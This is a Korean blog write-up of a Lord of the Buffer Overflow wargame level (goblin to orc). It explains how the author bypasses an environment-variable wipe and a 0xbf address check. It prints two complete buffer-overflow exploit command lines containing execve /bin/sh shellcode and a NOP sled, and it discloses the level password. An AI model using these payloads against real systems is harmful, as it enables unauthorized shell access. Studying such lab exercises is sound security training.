정보보안/LOB

[LOB] Level4 (Goblin->Orc)

b1ackhand 2022. 7. 24. 10:21

orc의 문제를 보면 버퍼 크기가 40의 평범한 버퍼 오버플로우 처럼보이지만

//egghunter 부분을 보면

extern char **environ 은 외부 코드에서 불러오는 환경변수를 의미하며 

https://stackoverflow.com/questions/10649273/where-is-the-definition-of-extern-char-environ

memset으로 환경변수를 모두 비우는 것이다.

즉, 지금까지 써왔던 방식으로는 불가능하다.

 

그리고 다음 부분은 47번째 부분이 bf로 시작하지 않으면 강제종료를 한다는뜻이다.

 

다시 정리하자면 조건으로

- 47번째 메모리 값이 bf일것

- 환경변수를 사용하지 않을것

 

main을 disas하고 bp를 잡은후

 

메모리의 위치를 확인하면서 

 

처음 시도한 방식은 다음과 같았다.

shellcode를 40byte안에 넣어놓고 ret주소로 buffer를 가리키게 하면 shellcode가 실행 될것이라 생각해서

 

./orc `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x48\xfc\xff\xbf"'`

 

위와 같이 쉘을 얻을 수 있었는데 실제 프로그램에서 실행해보니 aslr 때문인지 buffer의 위치가 계속 바뀌어 쉘을 얻어오지 못하는 것 같았다.

 

./orc `python -c 'print "\x90"*44 + "\x48\xfc\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" '`

 

따라서 다른 방법으로 접근하게 되었는데 위의 그림을 다시 참조하여 앞 메모리 44byte는 그대로 채우고 

ret주소에 ret이후의 임의의 주소를 넣고 NOP으로 1000개 정도 채워넣은후 쉘코드를 입력했다. NOP으로 되어있으면 그부분을 쉘코드를 만날때까지 진행하기 때문에 쉘코드가 실행된다.

 

pw는 cantata 이다.

'정보보안 > LOB' 카테고리의 다른 글

[LOB] Level6 (Wolfman->Darkelf)  (0) 2022.07.24
[LOB] Level5 (Orc->Wolfman)  (0) 2022.07.24
[LOB] Level3 (Cobolt->Goblin)  (0) 2022.07.17
[LOB] Level2 (Gremlin->Cobolt)  (0) 2022.07.17
[LOB] Level1 (Gate->Gremlin)  (0) 2022.07.14